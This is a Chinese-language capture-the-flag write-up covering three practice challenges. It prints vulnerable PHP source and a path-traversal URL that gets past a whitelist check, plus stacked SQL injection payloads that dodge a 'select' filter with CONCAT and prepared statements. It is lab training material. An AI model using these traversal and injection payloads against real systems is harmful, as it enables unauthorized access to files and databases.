BUUCTF
HCTF-2018——WarmUp
打开页面F12发现
<!--source.php-->
访问这个页面,给出源码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
发现还有一个页面 ["source"=>"source.php","hint"=>"hint.php"]
然后访问发现
然后又源码审计发现,截取有问题
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
然后就构造url
/source.php?file=hint.php?../../../../../../ffffllllaaaagggg
强网杯-2019——随便注
打开页面是简单的sql注入
发现过滤
使用堆叠查询
然后使用-1';show columns from 1919810931114514
#
查询数据,因为过滤了select,使用预编译
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
拆分开来如下
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
检测到关键吃,大小写绕过
直接上sqlmap更简单
Suctf 2019 easysql
堆叠查询,1;show databases;
然后又做了好久没办法查询flag,去找wp发现,有源码泄漏,然后没有过滤*号,就导致
输入*,1 就可以得到flag